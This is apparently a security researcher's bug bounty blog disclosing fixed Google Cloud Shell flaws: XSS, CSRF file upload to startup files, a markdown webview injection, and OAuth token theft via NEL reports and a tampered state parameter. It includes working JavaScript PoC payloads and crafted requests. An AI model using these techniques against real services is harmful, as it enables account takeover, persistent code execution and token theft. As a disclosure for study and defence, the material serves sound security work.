понедельник, 26 декабря 2022 г.

[ GCP 2022 ] Few bugs in the google cloud shell

What is Google Cloud Shell.

    Cloud Shell is an interactive shell environment for Google Cloud that lets you learn and experiment with Google Cloud and manage your projects and resources from your web browser.

1. XSS via `uri` parameter in file uploading feature


Endpoint: POST https://970-cs-<ID>-default.cs-europe-west4-fycr.cloudshell.dev/file-upload
Issue: 214291117
Bounty: 5k

Description:

    When a file uploaded the server return the unescaped `uri` parameter value in the response body. But this response has 'text/html' value in the content-type header, so this response will be interpreted as a usual html document by browser if user will see it (see screenshot/video). Attacker can load file from his own origin via form and user will see that response.


Code (javascript):

function send(devshell_host, target='_blank') {
if(!devshell_host) return alert('Devshell host is empty')
let form = document.createElement('form');
form.action = `https://${devshell_host}/file-upload?`
form.target = target
form.method = 'POST'
form.enctype = 'multipart/form-data'
/* ADD PAYLOAD TO PATH */
let uriInput = document.createElement('input')
uriInput.name = 'uri'
uriInput.value = `/tmp/test<img/src/onerror=alert(document.domain);${Math.floor(Math.random() * 1000) }>`
/* ADD UPLOAD FILE */
let fileInput = document.createElement('input')
fileInput.type = 'file'
fileInput.name = 'file'
let file = new File(['somecontent'], "img.jpg",{type:"image/jpeg", lastModified:new Date().getTime()});
let container = new DataTransfer();
container.items.add(file);
fileInput.files = container.files;
/* BUILD FORM */
form.replaceChildren(uriInput, fileInput)
document.body.append(form)
/* SEND */
form.submit()
}
send('your-domain')

Screenshot: 

XSS cloud shell

Video:



2. CSRF File uploading


Endpoints:
  • POST https://970-cs-<ID>-default.cs-europe-west4-fycr.cloudshell.dev/_cloudshell/file?path=...
  • POST https://970-cs-<ID>-default.cs-europe-west4-fycr.cloudshell.dev/file-upload
Issue: 214035061
Bounty: 5k + 5k (another endpoint and re-attack after fix)

Description:

    User can upload files to his cloud shell via two endpoints:
  • POST https://8080-cs-<ID>-default.cs-europe-west4-fycr.cloudshell.dev/_cloudshell/file?path=<DIRECTORY>
  • POST https://970-cs-<ID>-default.cs-europe-west4-fycr.cloudshell.dev/file-upload
    Both of them were vulnerable to CSRF and had no any protection of csrf. It makes possible to send POST request with file from any third-party origin (attacker's origin) to the user's vm origin (victim origin). If some file will be uploaded to `~/.bash_profile` path (for example) this file will be stored for a long time and will be executed every time when user login in his vm.
    Also this csrf can be used for xss if attacker will upload a file with payload to the "/google/devshell/editor/theia/lib/" path.

Example of code:

    function uploadBashPayload(hostname){
        let formData = new FormData()
        let file = new Blob(['some evil content'], {type : 'text/plain'});
        formData.append('uploadFile', file, '<your-filepath>')
        fetch(`https://${hostname}/_cloudshell/file?path=`, { credentials: 'include', method: 'POST', body: formData } )
    }

Example of code 2:

function uploadXSSPayload(hostname){
    let winname = 'evilwindow'
    let win = window.open('about:blank', winname)
    let filename = `test${Math.floor(Math.random() * 1000) }.html`
    if(!hostname) return alert('Devshell host is empty')
    let form = document.createElement('form');
    form.action = `https://${hostname}/file-upload?`
    form.target = winname
    form.method = 'POST'
    form.enctype = 'multipart/form-data'
    /* ADD PAYLOAD IN PATH */
    let uriInput = document.createElement('input')
    uriInput.name = 'uri'
    uriInput.value = `/google/devshell/editor/theia/lib/${filename}`    
    /* ADD UPLOAD FILE */
    let fileInput = document.createElement('input')
    fileInput.type = 'file'
    fileInput.name = 'file' 
    let file = new File(['<html><head><script>alert(`I am xss in: \$\{ origin \} origin`)</script></head><body>Hey! Iam attacker page</body></html>'], filename,{type:"image/jpeg", lastModified:new Date().getTime()});
    let container = new DataTransfer();
    container.items.add(file); 
    fileInput.files = container.files;
    /* BUILD FORM */
    form.replaceChildren(uriInput, fileInput)
    document.body.append(form)    
    /* SEND */
    form.submit()
    setTimeout( ()=>{ win.location = `https://${hostname}/${filename}` }, 1500)
}


Video:



3. Stored XSS in Markdown Viewer and oauth token hijacking


Issue: 217090716
Bounty: 5K

XSS via markdown part

  1. When a markdown document is opened in /webview the child frame with the rendered markdown document has CSP for prevent javascript execution, but it allows to redirect the current frame to any other origin via `<meta http-equiv="refresh" content="0;url=//evil-url">` tag.
  2. The `/webview/index.html` frame listens messages from child frame and doesn't check origin of message. So the attacker's iframe can can send commands to the parent frame.
  3. In the `/webview/main.js` the function `getVsCodeApiScript` generates inline javascript for child frame and use the unsafe 'state' param inside script content, this param can be received from any child frame via `postMessage()`. It doesnt sanitizing the state param and it used in the script tag content. If the state param contains string '</script><script>evil' - browser will parse it as two different <script> nodes and will add them to the head of page ( before the csp meta tags will be added).
  4. So attacker can place any javascript inside the state param and send it to the parent frame via `parent.parent.postMessage()`.

Token hijacking with NEL

  1. If attacker can get control of victim VM (through xss, csrf, etc) he can run his own webserver instead of original devshell server and configure it to send NEL reports to the attacker's report-uri.
  2. Browser will store attacker's 'report-uri' endpoint to use it for sending all network error reports what will thrown in user's devshell origin.
  3. Every time, when user starts new devshell session, browser sends many authorization requests to the VM origin with oauth token in url. Because the devshell not started yet server responds with 503 http code. It's the network error, so browser will send a report.
  4. Browser will send NEL reports, what contains urls with tokens to the attacker server. So, that way can be used to permanent stealing of user's token. More details about NEL you can read here:  https://web.dev/network-error-logging/

Video: 



Thanks for reading

воскресенье, 15 декабря 2019 г.

[GCP] The File uploading CSRF in Google Cloud Shell Editor

What is the google cloud shell

Google Cloud Shell is an interactive shell environment for Google Cloud Platform that makes to learn and experiment with GCP and manage your projects and resources from a web browser.
The cloud shell has a code editor, which called theia. It allows to manipulate the files in the cloud shell VM.

The more information about cloudshell you can find in the official docs: https://cloud.google.com/shell/docs/

The cloud shell editor allowed by the next urls:


  • https://970-dot-000000-dot-devshell.appspot.com
  • https://devshell-vm-74ecb0ce-6db1-43df-a2f9-c77142a1e79e.cloudshell.dev:970/

these urls are unique for every google user and the second url updates every time when user restart the cloud shell VM.

By the first url the editor protected from CSRF attack via X-XSRF-PROTECTED header. But when it opened by the second - the protection was missed.

The file uploading via CSRF

When I investigated the file uploading feature I found that it has no any protection from CSRF attacks and request can be sent from any origin. Here is the request for the file uploading:

POST /files HTTP/1.1
Host: devshell-vm-74ecb0ce-6db1-43df-a2f9-c77142a1e79e.cloudshell.dev:970
Content-Length: 337
Cookie: auth_cookie
Content-Type: multipart/form-data; boundary=------WebKitFormBoundaryduZBRk1aIPiq0b1V

------WebKitFormBoundaryduZBRk1aIPiq0b1V
Content-Disposition: form-data; name="target"

file:///home/userhome/folder
------WebKitFormBoundaryduZBRk1aIPiq0b1V
Content-Disposition: form-data; name="upload"; filename="the_filename"

the_content_of_file
------WebKitFormBoundaryduZBRk1aIPiq0b1V--

It's the standart multipart request and can be sent from any origin and server will accept it (and will create the file with name "the_filename" and content "the_content_of_file" in /home/userhome/folder ).

The bug in multipart requests parsing

When I tried different variants of this upload request I found that the requests with the next line:
Content-Disposition: form-data; name="upload; filename=the_filename; x"
were executed sucessfully and files were created in my home directory. As you can see the difference with original is very small. But it makes the attack possible, because I can create the html input element with the "upload; filename=the_filename; x" as the name attribute and it will be valid. With quote separated fields it's not possible.

Here are examples of html form for craft this uploading request:
<form action="https://<user_devshell_domain>/files" enctype="multipart/form-data" method="POST" target="upload_iframe">
<input name="target" value="file:///home/userhome/folder">
<input name="upload; filename=the_filename; x" value="the content of file">
</form>
So, cool! I can create files in user devshell VM with my content. But for completed sucessfull attack it's not enougth and some questions must be solved:

  1. How to know the domain name of victim's cloud shell editor for send this request to this?
  2. What the content can be loaded via csrf and what kind of attack possible with this bug? XSS? RCE via CSRF?


How to know the victim's cloudshell hostname

When I tried to open editor's url without credentials https://devshell-vm-74ecb0ce-6db1-43df-a2f9-c77142a1e79e.cloudshell.dev:970/ server returns a 302 redirect to auth. Also if I tried to open not mine host - I was returned to my anyway after authorization. So, if the auth request to attacker VM will be initiated in iframe - the user will be redirected to his own editor anyway. The result of redirect can be hijacked via CSP reports. For this, attacker can craft a webpage with iframe ( with authorization request). Also this page must has the csp rules, what allow all domains instead of *.appspot.com  and *.cloudshell.dev. So, when an user will open this page he will be authorized in iframes (and redirected to editors domains) and attacker will got the csp reports with blocked uris (according with CSP rules of page they will contain the user cloudshell editor's domains ). Nice. The first problem is solved :-)

What the content can be loaded via csrf and what kind of attack possible with file uploading bug

The html files from VM can be opened with /mini-browser feature. By the next url:
https://970-dot-000000-dot-devshell.appspot.com/mini-browser/home/myusername/uploaded.html I saw my uploaded html and javascript was executed. Also this file could be loaded in iframe by the click in the interface. Nice. What this XSS allows to do? Via this XSS attacker can place some mailicous code in .bashrc file or other system files in user's home directory and this code will be runned every time when vm will be restarted. Nice impact :-)

The Final.

The next I described all steps in the report, crafted the POC page, made the video of the xss attack and attached this to report.

The google VRP team set the P1 priority to this report and after short waiting I got the 5K bounty :-)

Thanks :-)

[GCP] The oauth token hijacking in Google Cloud Shell Editor

What is the google cloud shell

Google Cloud Shell is an interactive shell environment for Google Cloud Platform that makes to learn and experiment with GCP and manage your projects and resources from a web browser. The cloud shell has a code editor, which called theia. It allows to manipulate the files in the cloud shell VM. Also in earlier versions it allowed the run commands in the shell of virtual machine.

The more information about cloudshell you can find in the official docs: https://cloud.google.com/shell/docs/

The cloud shell editor allowed by the https://970-dot-000000-dot-devshell.appspot.com url.

How to OAuth flow works in cloud shell

The authorization in cloud shell domain includes the 4 steps:
1. Initiation. When user without creds trying to open editor by url https://970-dot-000000-dot-devshell.appspot.com the server redirects his to accounts.google.com/o/oauth2
2. Confirm of access. When user redirected to the accounts.google.com/o/oauth2 page he grants the access to his data for application and after this step the server redirects him to devshell.appspot.com domain
3. The page in devshell.appspot.com domain takes the user's authorization code and redirects user to his editor domain with generated access token
4. Page in editor's domain takes token and gives the cookie for user.

So, when I tried to open my cloud shell editor without credentials I got the redirect to the authorization page:

https://accounts.google.com/o/oauth2/auth?client_id=618104708054-jqgabbtcm3fusmhf5hu82r7j8emh7aoa.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fdevshell.appspot.com%2F_cloudshellProxy%2Foauth2callback&response_type=code&scope=https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email&state=eyJYU1JGVG9rZW4iOiI0bEp5VWRvZnhoblB5RWJ5b2x6VzVWY3d0bVE6MTU1MzkzOTQxMTk2MCIsIkFwcFVSTCI6Imh0dHBzOi8vOTcwLWRvdC0wMDAwMC1kb3QtZGV2c2hlbGwuYXBwc3BvdC5jb20vIn0%3D

Let's look at the 'state' parameter. Looks promising:

state=eyJYU1JGVG9rZW4iOiI0bEp5VWRvZnhoblB5RWJ5b2x6VzVWY3d0bVE6MTU1MzkzOTQxMTk2MCIsIkFwcFVSTCI6Imh0dHBzOi8vOTcwLWRvdC0wMDAwMC1kb3QtZGV2c2hlbGwuYXBwc3BvdC5jb20vIn0%3D

Let's try to unpack it (I follow the examples in google chrome console):

> atob(decodeURIComponent('eyJYU1JGVG9rZW4iOiI0bEp5VWRvZnhoblB5RWJ5b2x6VzVWY3d0bVE6MTU1MzkzOTQxMTk2MCIsIkFwcFVSTCI6Imh0dHBzOi8vOTcwLWRvdC0wMDAwMC1kb3QtZGV2c2hlbGwuYXBwc3BvdC5jb20vIn0%3D' ))
<
"{ "XSRFToken":"4lJyUdofxhnPyEbyolzW5VcwtmQ:1553939411960", "AppURL": "https://970-dot-00000-dot-devshell.appspot.com/"}"

hmmm, AppUrl property contains the my host. What if I will replace it to my host?

> var obj = JSON.parse( atob( decodeURIComponent( 'eyJYU1JGVG9rZW4iOiI0bEp5VWRvZnhoblB5RWJ5b2x6VzVWY3d0bVE6MTU1MzkzOTQxMTk2MCIsIkFwcFVSTCI6Imh0dHBzOi8vOTcwLWRvdC0wMDAwMC1kb3QtZGV2c2hlbGwuYXBwc3BvdC5jb20vIn0%3D' )))
> obj.AppURL = "https://my.host/hi_jack?"
> encodeURIComponent(btoa(JSON.stringify(obj)))

Then I tried to authorize with this changed state parameter and got the redirect to the my host with generated token.

The Final. 

Then I crafted the page with auth links generator and full attack POC, made the video with attack and created the report.

After small delay my report got a P1 priority and after some time I got the 5K bounty :-)

Thanks :-)

[GCP] The XSS ( type II ) in Google Cloud Shell Editor

What is the google cloud shell

Google Cloud Shell is an interactive shell environment for Google Cloud Platform that makes to learn and experiment with GCP and manage your projects and resources from a web browser.

The more information about cloudshell you can find in the official docs: https://cloud.google.com/shell/docs/

The cloud shell editor can be opened by url https://970-dot-000000-dot-devshell.appspot.com where 000000 is unique id for every google user.

XSS in error pages

I found that the error pages print unescaped errors messages in response with 'text/html' in the 'content-type' header. It allows to make XSS attack (XSS type II).

Here are the vulnerable requests:





Leakage of hostname

For successfull attack an attacker needs to know the hostname of victim's editor. So, for this attack I found the next solution how to know it:
In the basic flow, the url
https://ssh.cloud.google.com/devshell/proxy?authuser=0&port=970&cloudshell_retry=true&devshellProxyPath=%2F&clearSession=false
redirects user to his own editor domain. To the path from devshellProxyPath parameter.
The parameter devshellProxyPath was not validated perfectly by server and server allowed to redirect user to any domain. For e.g. for the request:
GET /devshell/proxy?authuser=0&port=970&cloudshell_retry=true&devshellProxyPath=@attacker-domain&clearSession=false HTTP/1.1
Host: ssh.cloud.google.com
server returned the redirect to the next location:
https://970-dot-0000-dot-devshell.appspot.com@attacker-domain/
So, this way allows to attacker to know the victim's editor host. In current example it is: 970-dot-0000-dot-devshell.appspot.com

The Final. 

The next step I made the POC page and placed it on my server. Then I described all details in report and report got P1 priority.
And after a short waiting I got the 5K bounty :-)

Thanks :-)